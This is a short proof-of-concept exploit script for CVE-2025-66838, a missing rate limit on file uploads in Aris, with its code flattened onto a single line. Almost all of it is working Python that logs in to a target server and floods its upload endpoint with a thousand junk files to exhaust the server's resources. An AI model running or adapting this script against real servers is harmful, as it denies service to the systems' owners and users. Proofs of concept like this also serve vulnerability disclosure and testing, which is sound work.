CVE-2025-66838 | Aris文件上传无速率限制导致资源耗尽

#!/usr/bin/env python3 """ CVE-2025-66838 PoC - Aris File Upload DoS This PoC demonstrates the lack of rate limiting in Aris file upload functionality. """ import requests import time import sys from pathlib import Path # Configuration TARGET_URL = "http://target-server:8080/aris/api/upload" USERNAME = "attacker" PASSWORD = "password" FILE_SIZE_KB = 100 NUM_FILES = 1000 DELAY = 0.01 # Delay between uploads in seconds def create_test_file(size_kb): """Generate a test file of specified size""" return b'X' * (size_kb * 1024) def authenticate(): """Authenticate and get session token""" session = requests.Session() login_url = f"{TARGET_URL.rsplit('/', 1)[0]}/login" response = session.post(login_url, json={ "username": USERNAME, "password": PASSWORD }) if response.status_code == 200: return session return None def upload_file(session, file_data, filename): """Upload a single file to the target server""" files = {'file': (filename, file_data, 'application/octet-stream')} try: response = session.post(TARGET_URL, files=files, timeout=10) return response.status_code == 200 except requests.exceptions.RequestException: return False def main(): print(f"[*] Starting CVE-2025-66838 PoC") print(f"[*] Target: {TARGET_URL}") session = authenticate() if not session: print("[-] Authentication failed") sys.exit(1) print(f"[+] Authenticated successfully") print(f"[*] Uploading {NUM_FILES} files ({FILE_SIZE_KB}KB each)...") file_data = create_test_file(FILE_SIZE_KB) success_count = 0 for i in range(NUM_FILES): filename = f"malicious_file_{int(time.time())}_{i}.txt" if upload_file(session, file_data, filename): success_count += 1 if (i + 1) % 100 == 0: print(f"[*] Progress: {i+1}/{NUM_FILES} files uploaded") time.sleep(DELAY) total_size_mb = (success_count * FILE_SIZE_KB) / 1024 print(f"\n[+] Completed: {success_count}/{NUM_FILES} files uploaded") print(f"[+] Total data uploaded: {total_size_mb:.2f} MB") print(f"[*] This could cause resource exhaustion on the target server") if __name__ == "__main__": main()